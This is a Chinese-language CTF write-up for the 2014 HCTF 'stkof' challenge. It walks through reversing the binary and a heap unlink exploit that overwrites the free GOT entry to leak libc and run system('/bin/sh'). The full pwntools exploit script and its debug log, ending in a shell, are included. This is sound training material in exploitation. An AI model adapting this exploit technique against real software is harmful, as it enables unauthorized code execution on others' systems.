stkof heap unlink 实战详解

实验环境:

  • pwntools:3.12.1
  • wsl debian
  • libc:2.24
  • gdb+gef,IDA

checksec:

1
2
3
4
5
6
7
$ checksec ./stkof
[*] './stkof'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

breakpoints:

  • main ep:0x400c58
  • 获取四个函数的输入值: b *0x400d16

patch alarm()

调试时第一坑就是 alarm() 运行时间警告,

0x400c6f-0x40078

使用 keypatch patch 掉就可以。

程序的四个主功能

IDA F5 查看对照着汇编代码总算找到了点眉目。首先程序运行开始 while 循环

要求输入,根据输入值调用不同function,输入值为 1~4,如果输入为其他值会提示”FAIL”

这个时候会申请一段内存,0x210,0xe05010,存储输入的值

结合 objdump -R ./stkof 查看重定位表,可摸索出这四个 function 的逻辑

  • 0x400cac Malloc_1,将输入的值作为大小然后分配内存,然后 print 当前分配的堆序号 换行 “OK”
  • 0x400cbb Fread_2,第一次获取输入的堆块序号,判断是否在堆里,第二次获取输入的大小,第三次获取输入的值然后写入对应序号的堆内存里,输出 “OK” 换行
  • 0x400cca Free_3,获取堆序号输入,free 堆序号对应的堆内存
  • 0x400cd9 Fgets_strlen_put

执行成功输出 “OK”,这个时候也会申请一段内存,0x210,0xe05280,存储 “OK” 值,继续 while 循环

  • .bss addr: 0x6020c0
  • .got.plt: 0x60200
  • 存储申请的堆地址:0x6020c0+0x88,0x602148

利用思路

  1. 连续申请三次堆,这样第二个和第三个堆内存物理相连
  2. 覆写2号堆,伪造 chunk
  3. free 3 号堆,bypass unlink
  4. 编辑 2 号堆覆写 free got 内容为 puts plt,leak function addr
  5. 计算得到 system() addr
  6. 接下来有两种思路可getshell:
  • 再次覆写 free got 为 system addr,然后申请一个堆,写入”/bin/sh”, 再 free 掉这个堆即可实现 getshell
  • 覆写 atoi got 为 system addr,这样程序在陷入获取功能序号的时候,输入 ‘/bin/sh’,调用 atoi 转换也可实现 getshell

getshell 脚本及执行过程

这里采用第一种覆写 free got 的方式 getshell,因为比较稳

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
#-* coding:utf -*

"""
python 2.7
"""

from pwn import *

def alloc(p):
p.sendline("1")
p.sendline("128")
p.recvuntil("OK\n")

def edit(p,idx,content):
p.sendline("2")
p.sendline(str(idx))
p.sendline(str(len(content)))
p.send(content)
p.recvuntil("OK\n")

def free(p,idx):
p.sendline("3")
p.sendline(str(idx))

libc = ELF("./libc-2.24.so")
stkof = ELF("./stkof")
p = process("./stkof")
g_addr = 0x602150

alloc(p)
alloc(p)
alloc(p)

payload1 = '\x00'*0x10 + p64(g_addr-0x18) + p64(g_addr-0x10) + 'a'*0x60 + p64(0x80) + p64(0x90)

edit(p,2,payload1)
# 1.bypass unlink
free(p,3)
p.recvuntil("OK\n")

# 2.overwrite got table
payload2 = p64(0)*2 + p64(stkof.got["free"]) + p64(stkof.got["puts"])
edit(p,2,payload2)

payload3 = p64(stkof.plt["puts"])
edit(p,1,payload3)

# 3.leak puts addr
free(p,2)
# puts_addr = u64(p.recv(6) + "\x00\x00")
# puts_addr = p.recv(6).strip().ljust(8,"\x00")
# p.recv(4)
puts_addr = p.recv(6).ljust(8,'\x00')
p.recv(4)
puts_addr = u64(puts_addr)
print hex(puts_addr)


system_addr = puts_addr - libc.symbols["puts"] + libc.symbols["system"]
# binsh_addr = puts_addr - libc.symbols["puts"] + next(libc.search('/bin/sh'))
log.success('system addr: ' + hex(system_addr))

# 4.continue overwrite got table
payload4 = p64(system_addr)
edit(p,1,payload4)

# 5.exec sh
alloc(p)
binsh="/bin/sh\x00"
edit(p,4,binsh)
context.terminal = ['./stkof', '-e', 'sh', '-c']
# gdb.attach(p)
log.info("[Exec sh...]")
free(p,4)
p.interactive()

...
$ python ./stkof_pwn.py DEBUG
[DEBUG] PLT 0x1f880 realloc
[DEBUG] PLT 0x1f890 __tls_get_addr
[DEBUG] PLT 0x1f8b0 memalign
[DEBUG] PLT 0x1f8e0 _dl_find_dso_for_object
[DEBUG] PLT 0x1f900 calloc
[DEBUG] PLT 0x1f930 malloc
[DEBUG] PLT 0x1f938 free
[*] '/mnt/d/workplace/CTF/2014hctf/stkof/libc-2.24.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[DEBUG] PLT 0x40074c free
[DEBUG] PLT 0x400760 puts
[DEBUG] PLT 0x400770 fread
[DEBUG] PLT 0x400780 strlen
[DEBUG] PLT 0x400790 __stack_chk_fail
[DEBUG] PLT 0x4007a0 printf
[DEBUG] PLT 0x4007b0 alarm
[DEBUG] PLT 0x4007c0 __libc_start_main
[DEBUG] PLT 0x4007d0 fgets
[DEBUG] PLT 0x4007e0 atoll
[DEBUG] PLT 0x4007f0 __gmon_start__
[DEBUG] PLT 0x400800 malloc
[DEBUG] PLT 0x400810 fflush
[DEBUG] PLT 0x400820 atol
[DEBUG] PLT 0x400830 atoi
[*] '/mnt/d/workplace/CTF/2014hctf/stkof/stkof'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process './stkof': pid 390
[DEBUG] Sent 0x2 bytes:
'1\n'
[DEBUG] Sent 0x4 bytes:
'128\n'
[DEBUG] Received 0x5 bytes:
'1\n'
'OK\n'
[DEBUG] Sent 0x2 bytes:
'1\n'
[DEBUG] Sent 0x4 bytes:
'128\n'
[DEBUG] Received 0x5 bytes:
'2\n'
'OK\n'
[DEBUG] Sent 0x2 bytes:
'1\n'
[DEBUG] Sent 0x4 bytes:
'128\n'
[DEBUG] Received 0x5 bytes:
'3\n'
'OK\n'
[DEBUG] Sent 0x2 bytes:
'2\n'
[DEBUG] Sent 0x2 bytes:
'2\n'
[DEBUG] Sent 0x4 bytes:
'144\n'
[DEBUG] Sent 0x90 bytes:
00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |····|····|····|····|
00000010 38 21 60 00 00 00 00 00 40 21 60 00 00 00 00 00 |8!`·|····|@!`·|····|
00000020 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 |aaaa|aaaa|aaaa|aaaa|
*
00000080 80 00 00 00 00 00 00 00 90 00 00 00 00 00 00 00 |····|····|····|····|
00000090
[DEBUG] Received 0x3 bytes:
'OK\n'
[DEBUG] Sent 0x2 bytes:
'3\n'
[DEBUG] Sent 0x2 bytes:
'3\n'
[DEBUG] Received 0x3 bytes:
'OK\n'
[DEBUG] Sent 0x2 bytes:
'2\n'
[DEBUG] Sent 0x2 bytes:
'2\n'
[DEBUG] Sent 0x3 bytes:
'32\n'
[DEBUG] Sent 0x20 bytes:
00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |····|····|····|····|
00000010 18 20 60 00 00 00 00 00 20 20 60 00 00 00 00 00 |· `·|····| `·|····|
00000020
[DEBUG] Received 0x3 bytes:
'OK\n'
[DEBUG] Sent 0x2 bytes:
'2\n'
[DEBUG] Sent 0x2 bytes:
'1\n'
[DEBUG] Sent 0x2 bytes:
'8\n'
[DEBUG] Sent 0x8 bytes:
00000000 60 07 40 00 00 00 00 00 |`·@·|····||
00000008
[DEBUG] Received 0x3 bytes:
'OK\n'
[DEBUG] Sent 0x2 bytes:
'3\n'
[DEBUG] Sent 0x2 bytes:
'2\n'
[DEBUG] Received 0xa bytes:
00000000 90 8f ec 5e 72 7f 0a 4f 4b 0a |···^|r··O|K·|
0000000a
0x7f725eec8f90
[+] system addr: 0x7f725ee9f480
[DEBUG] Sent 0x2 bytes:
'2\n'
[DEBUG] Sent 0x2 bytes:
'1\n'
[DEBUG] Sent 0x2 bytes:
'8\n'
[DEBUG] Sent 0x8 bytes:
00000000 80 f4 e9 5e 72 7f 00 00 |···^|r···||
00000008
[DEBUG] Received 0x3 bytes:
'OK\n'
[DEBUG] Sent 0x2 bytes:
'1\n'
[DEBUG] Sent 0x4 bytes:
'128\n'
[DEBUG] Received 0x5 bytes:
'4\n'
'OK\n'
[DEBUG] Sent 0x2 bytes:
'2\n'
[DEBUG] Sent 0x2 bytes:
'4\n'
[DEBUG] Sent 0x2 bytes:
'8\n'
[DEBUG] Sent 0x8 bytes:
00000000 2f 62 69 6e 2f 73 68 00 |/bin|/sh·||
00000008
[DEBUG] Received 0x3 bytes:
'OK\n'
[*] [Exec sh...]
[DEBUG] Sent 0x2 bytes:
'3\n'
[DEBUG] Sent 0x2 bytes:
'4\n'
[*] Switching to interactive mode
$ whoami
[DEBUG] Sent 0x7 bytes:
'whoami\n'
[DEBUG] Received 0x5 bytes:
'asan\n'
asan
$

Reference